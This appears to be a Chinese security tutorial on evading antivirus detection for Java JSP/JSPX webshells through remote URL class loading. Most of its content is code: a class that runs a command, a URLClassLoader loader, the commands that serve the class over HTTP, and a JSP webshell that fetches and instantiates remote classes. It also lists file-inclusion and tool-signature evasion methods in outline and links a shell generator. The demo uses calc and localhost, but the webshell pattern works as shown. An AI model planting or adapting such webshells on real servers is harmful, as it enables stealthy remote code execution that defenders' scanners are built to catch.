JAVA攻防-Webshell免杀&JSP&JSPX脚本&URL类加载&远程分离&文件包含&工具特征消除

知识点:

Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离

演示案例-Java攻防-WebShell免杀-URL类加载器&文件包含&远程分离

免杀应用-URL类加载器


bash 复制代码
import java.io.IOException;
 
public class Run {
    public Run() throws IOException {
Runtime.getRuntime().exec("calc");
    }
}


bash 复制代码
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
 
public class URLTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
    }
}
bash 复制代码
javac Run.java
python -m http.server 8888





bash 复制代码
<%@ page import="java.net.URL, java.net.URLClassLoader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    try {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")});
Class<?> aClass = urlClassLoader.loadClass("Run");
aClass.newInstance();
out.println("Class loaded and instantiated successfully.");
    } catch (Exception e) {
out.println("Error: " + e.toString());
e.printStackTrace();
    }
%>





免杀应用-Webshell


1、本地文件包含





2、远程文件包含





3、远程读取配合类加载

4、远程类加载器配合

5、免杀工具思路特征改动

https://github.com/Ni4n/ShellGenerate










相关推荐
2601_949816226 小时前
Redis 配置日志
java
遇见你...7 小时前
A01-Spring概述
java·后端·spring
Via_Neo9 小时前
JAVA中以2为底的对数表示方式
java·开发语言
野生技术架构师10 小时前
一线大厂Java面试八股文全栈通关手册(含源码级详解)
java·开发语言·面试
廋到被风吹走10 小时前
【AI】Codex 多语言实测:Python/Java/JS/SQL 效果横评
java·人工智能·python
tERS ERTS10 小时前
MySQL中查看表结构
java
坊钰10 小时前
Java 死锁问题及其解决方案
java·开发语言·数据库
于先生吖10 小时前
SpringBoot+MQTT 无人健身房智能管控系统源码实战
java·spring boot·后端
仍然.11 小时前
算法题目---模拟
java·javascript·算法
wefly201711 小时前
纯前端架构深度解析:jsontop.cn,JSON 格式化与全栈开发效率平台
java·前端·python·架构·正则表达式·json·php